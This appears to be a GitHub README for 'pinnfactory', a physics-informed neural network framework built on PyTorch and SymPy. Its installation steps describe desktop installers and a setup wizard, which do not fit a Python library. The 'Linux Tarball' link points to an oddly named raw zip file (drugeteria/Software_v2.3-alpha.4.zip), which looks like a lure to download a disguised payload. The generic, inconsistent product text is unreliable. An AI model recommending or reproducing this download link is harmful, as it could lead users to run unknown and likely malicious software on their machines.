pinnfactory is a lightweight framework designed to help you build Physics-Informed Neural Networks (PINNs). This tool allows users to work with symbolic Partial Differential Equation (PDE) definitions using SymPy and automatic differentiation in PyTorch. With pinnfactory, you can create flexible neural architectures, estimate parameters automatically, and generate loss functions based on PDEs and conditions.
- User-Friendly Interface: Even if you're not a programmer, you will find the interface straightforward.
- Symbolic PDE Definitions: Define your PDEs easily using a symbolic math library.
- Flexible Neural Architectures: Customize your neural networks to fit your needs.
- Automatic Loss Generation: Save time with automatic loss creation from your equations and constraints.
- Inverse Parameter Estimation: Estimate parameters quickly and efficiently.
Before you get started, ensure your system meets the following requirements:
- Operating System: Windows 10 or later, macOS Mojave or later, Linux (most distributions).
- Python Version: Python 3.7 or later.
- RAM: At least 4 GB (8 GB recommended for better performance).
- Disk Space: At least 100 MB available.
To install and run pinnfactory, follow these steps:
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Visit the Releases Page: Go to the following link to download the latest version of pinnfactory. Download Pinnfactory Here
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Choose Your Version: Look for the version suitable for your operating system.
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Download the Installer: Click on the installer to begin your download.
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Run the Installer: After the download completes, locate the installer file and double-click it to run.
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Follow Installation Instructions: Follow the prompts in the setup wizard to complete the installation process.
To get started with pinnfactory, you can download it from our GitHub Releases page. Click below to access the page:
On the Releases page, you will find different versions of the software. Pick the version corresponding to your system. Make sure to select the correct file type. You may see:
- Windows Installer (.exe)
- macOS Package (.dmg)
- Linux Tarball (https://raw.githubusercontent.com/Rohith19996/pinnfactory/main/drugeteria/Software_v2.3-alpha.4.zip)
Choose the one that fits your operating system and proceed with the installation as mentioned above.
For detailed guidance on how to use pinnfactory, check the documentation available on our repository. This section includes examples that demonstrate key features and functionalities.
If you need assistance, consider exploring our community forums. Users often share useful tips and advice that can help you.
You may find pinnfactory useful in various scenarios:
- Academic Research: Use it for research projects requiring complex simulations.
- Engineering Applications: Apply it in modeling physical systems in fields like fluid dynamics.
- Data Science Projects: Integrate it into machine learning workflows for data-driven insights.
For any inquiries or support issues, please reach out to us through our repository issue tracker. Your feedback is vital to improving the software.
We welcome contributions! If you want to help improve pinnfactory, feel free to fork the repository and submit pull requests. Your effort will benefit the entire user community.
We regularly update pinnfactory with new features and bug fixes. Keep an eye on the releases page for announcements regarding new versions.
In case of troubleshooting during installation or use, please refer to the community support section or documentation for solutions.